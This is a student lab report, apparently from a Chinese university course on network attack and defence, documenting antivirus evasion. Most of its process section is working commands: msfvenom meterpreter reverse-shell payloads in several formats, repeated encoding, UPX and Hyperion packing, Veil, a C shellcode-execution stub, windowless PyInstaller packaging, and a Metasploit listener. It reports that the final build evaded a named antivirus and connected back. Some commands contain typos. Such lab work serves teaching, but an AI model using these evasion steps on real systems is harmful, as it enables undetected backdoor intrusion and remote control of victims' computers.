20232319 2025-2026-1 《網絡與系統攻防技術》實驗三實驗報告
1.實驗內容
1.1實驗實踐內容
(1)正確使用msf編碼器,veil-evasion,自己利用shellcode編程等免殺工具或技巧。
正確使用msf編碼器,使用msfvenom生成如jar之類的其他文件
veil,加殼工具
使用C + shellcode編程
(2)通過組合應用各種技術實現惡意代碼免殺。
(3)用另一電腦實測,在殺軟開啟的情況下,可運行并回連成功。
1.2問題回答
(1)殺軟是如何檢測出惡意代碼的?
-
基于特征碼的檢測:殺毒軟件公司會分析已知的病毒,從中提取出一小段獨一無二的“身份證”代碼,稱為??特征碼,并存入病毒庫。當殺軟掃描一個文件時,會將其代碼與病毒庫中的特征碼進行比對,如果匹配,就判定為惡意代碼。
-
啟發式分析??:這種方法不依賴精確的特征碼,而是通過分析代碼的??行為、結構或指令??是否“看起來可疑”。
-
基于行為的檢測:殺軟會在??虛擬機或沙箱??中運行可疑程序,實時監控其每一步操作(如連接惡意網站、開放異常端口等)。如果程序的行為模式與已知的惡意軟件高度相似,就會被攔截。
(2)免殺是做什么?
它的核心目的是通過一系列技術手段,對惡意代碼進行:“化妝”,使其能夠??逃過殺毒軟件的檢測和查殺??,從而在目標計算機上隱蔽地運行。
(3)免殺的基本方法有哪些?
從本次實驗體現出的方法來看,有如下幾種方法
- 1.多次編碼
- 2.套殼,包括加密殼與壓縮殼
- 3.將惡意代碼嵌入到非可執行文件,例如jar包或php文件
- 4.??隱蔽通信??:采用反彈式連接,讓網絡流量看起來像正常流量,避免被監控設備發現
2.實驗過程
2.1 任務1
2.1.1測試免殺效果參考基準
使用msfvenom -p windows/meterpreter/reverse_tcp LH0ST=172.16.190.136 P0RT=6666 -f exe > met20232319.exe生成基準測試文件

使用網站virustotal進行測試,結果如下,50/72

2.1.2使用msf編碼器,使用msfvenom生成exe文件
使用命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b *\x00' LH0ST=192.168.190.136 LP0RT=6666-fexe >met20232319_encoded.exe生成exe文件
-e x86/shikata_ga_nai指定編碼方式;-b '\x00'指定要避免的壞字符

免殺測試結果為44/72,免殺效果稍微改善
使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHosT=192.168.190.136 LP0RT=6666 -f exe > met20232319_10enc0ded.exe進行10次編碼處理生成exe文件,-i 10表示編碼10次。

測試結果為43/72,變化不大。

2.1.3使用msf編碼器,使用msfvenom生成jar文件與php文件
生成jar文件msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.190.136 LPORT=6666 x>metjar20232319.jar

10次編碼生成jar文件
msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.190.136 LPORT=6666 x>metjar20232319_10encoded.jar

免殺效果檢出率均為34/64,相較于測試基準,jar文件更難識別出來

生成PHP文件msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.190.135 LPORT=6666 x> metphp20232319.php

10次編碼生成php文件msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.190.136 LPORT=6666 x> metphp20232319_10encoded.php

普通編碼生成php文件免殺測試檢出率,25/62,效果大幅改善

10編碼生成php文件免殺測試檢出率,8/61,效果進一步改善,相較于exe文件,php文件更難被檢測出

2.1.4工具veil
2.1.4.1下載veil
使用命令sudo apt -y install veil下載veil
注意:veil占據空間較大,需提前預留空間。
2.1.4.2使用veil
如下圖所示,選擇evasion,輸入use 1

輸入list,查看載荷種類,選擇載荷7 c/meterpreter/rev_tcp.py,輸入use 7

選擇完畢后設置參數
set LHOST 192.168.190.136(反彈連接,虛擬機ip)
set LPORT 6666(端口)
generate(生成)

veil免殺檢出率如下,38/72,具有一定免殺率,免殺效果一般

2.1.5 C + shellcode編程
生成c語言的源代碼文件的攻擊載荷msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.136 LPORT=6666 -f c
-f表示指定輸出格式,c表示生成c語言格式的攻擊載荷

使用vi編輯源代碼,添加如下代碼
int main()
{
int(*func)() =(int(*)())buf;
func();
}

使用命令i686-w64-mingw32-g++ shell_payload.c -o 20232319_shell_payload.exe編譯生成exe文件

檢出率如下,免殺效果良好

2.1.6加殼
2.1.6.1壓縮殼
使用指令upx 20232319_shell_payload.exe -o 20232319_hyp.exe,給上一個步驟生成的exe文件加上壓縮殼。
檢出率為36/72,檢出率較不加殼的情況上升,說明該殼已被相當一部分殺軟記錄。

2.1.6.2加密殼
輸入如下命令,為文件套上加密殼
cp 20232319_shell_payload.exe /usr/share/windows-resources/hyperion/(將待加密文件放到工作目錄下)
cd /usr/share/windows-resources/hyperion(進入工作目錄)
wine hyperion.exe -v 20232319_shell_payload.exe 20232319_hyp.exe(加密文件)

檢出率如下,52/72,檢出率變高,該殼的特征已被廣泛記錄

2.2 任務2
2.2.1 通過組合應用各種技術實現惡意代碼免殺
2.2.1.1 生成攻擊載荷
使用msfvenom工具來生成攻擊載荷。使用x86/shikata_ga_nai編碼10次。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.190.136 LPORT=6666 -f c > 20232319_shellcode.c
使用vi工具,添加代碼
int main(){ int (*func)() = (int(*)())buf; func(); }
使用MinGW-w64編譯該源文件。
i686-w64-mingw32-g++ 20232319_shellcode.c -o 20232319_shellcode.exe
2.2.1.2 套殼
使用upx加一層壓縮殼。
upx 20232319_shellcode.exe -o 20232319_shellcode_upx.exe
使用hyperion加一層加密殼。
wine hyperion.exe -v 20232319_shellcode_upx.exe 20232319_shellcode_upx_hyp.exe


網站檢出率測試效果如下,50/72,效果較差

2.2.1.3殺毒軟件測試(360與火絨)
使用加密殼與不使用加密殼作比較,此處殺毒軟件使用360
(1)使用加密殼,直接被檢出,未使用加密殼的exe文件未被檢出(第一次查殺)

(2)使用加密殼,直接被檢出,未使用加密殼的exe文件被檢出(第二次查殺)

從兩次的查殺結果對比來看,說明加密殼的特征已被殺毒軟件廣泛標記,極易被查殺,而僅使用壓縮殼反而會更加安全。
同時,殺毒軟件第一次未檢出僅使用壓縮殼的exe,存在安全風險,說明殺毒軟件并不能完全規避風險
2.2.1.4另辟蹊徑,使用py文件,使用
通過與其他同學的討論得知,py文件較exe文件被檢出風險更小,而生成的py文件可通過pyinstaller打包生成同樣低風險的exe文件
開始實踐驗證,使用msfvenom生成py文件的攻擊載荷
msfvenom -P python/meterpreter_reverse_tcp \LH0ST=192.168.190.136 LPORT=6666 \-f raw -0 20232319_py_met.py
注意:此處使用python/meterpreter_reverse_tcp

將生成的py文件傳輸到主機中,使用pyinstaller打包為exe文件
python -m PyInstaller -Fw --hidden-import=getpass --hidden-import=code --hidden-import=platform --hidden-import=shlex 20232319_py_met.py
-w指定程序運行時的窗口模式為??無控制臺窗口??(--windowed, --noconsole)
-F指定打包模式為??單文件模式??(--onefile)
python -m PyInstaller通過Python解釋器直接運行PyInstaller模塊,這是一種更可靠的調用方式,可以避免因環境變量配置問題導致的命令無法識別
??
--hidden-import=用于手動指定那些在代碼中??未被PyInstaller的依賴分析器自動檢測到但程序運行所必需的模塊??。

網站檢出率,13/72,效果大幅改善,殺毒軟件應該也能通過

文件20232319_met_py.exe成功通過查殺(此處使用火絨)

火絨版本:6.0.7.14
2.3 任務3
2.3.1用另一電腦實測,在殺軟開啟的情況下,可運行并回連成功
use exploit/multi/handler(調用監聽模塊)
set payload python/meterpreter/reverse_tcp(python攻擊載荷)
set LHOST 192.168.190.136(回連地址)
set LPORT 6666(端口)
exploit(監聽)

在主機點擊exe程序,成功運行!火絨版本:6.0.7.14

3.問題及解決方案
-
問題1:一開始使用的
msfvenom -P windows/meterpreter_reverse_tcp \LH0ST=192.168.190.136 LPORT=6666 \-f raw -0 20232319_py_met.py所生成的py文件轉化為exe文件后無法運行 -
問題1解決方案:改為python/meterpreter_reverse_tcp
-
問題2:pyinstaller無法直接使用
-
問題2解決方案:使用python -m PyInstaller通過Python解釋器直接運行PyInstaller模塊,這是一種更可靠的調用方式,可以避免因環境變量配置問題導致的命令無法識別
4.學習感悟、思考等
通過本次實驗,我學會了基礎的免殺技術,包括msfconsole多次編碼生成文件,套殼(壓縮,加密),
veil工具,以及上述技術的多種組合。結合上次實驗的后門程序,我深刻了解到網絡攻防技術的強大之處。
曾經在我看來難以逾越的殺毒軟件,居然也是可以被攻破的。當然,如何將經免殺處理的后門程序傳輸到被攻擊者的計算機也是一個問題。現在的郵件貌似也可以傳輸文件,不能隨意點開來源不明的文件啊。
每次實驗的重要的不止是技術的掌握,同樣重要的是安全意識的增強,作為攻擊者,也應時刻有被攻擊者的意識。

浙公網安備 33010602011771號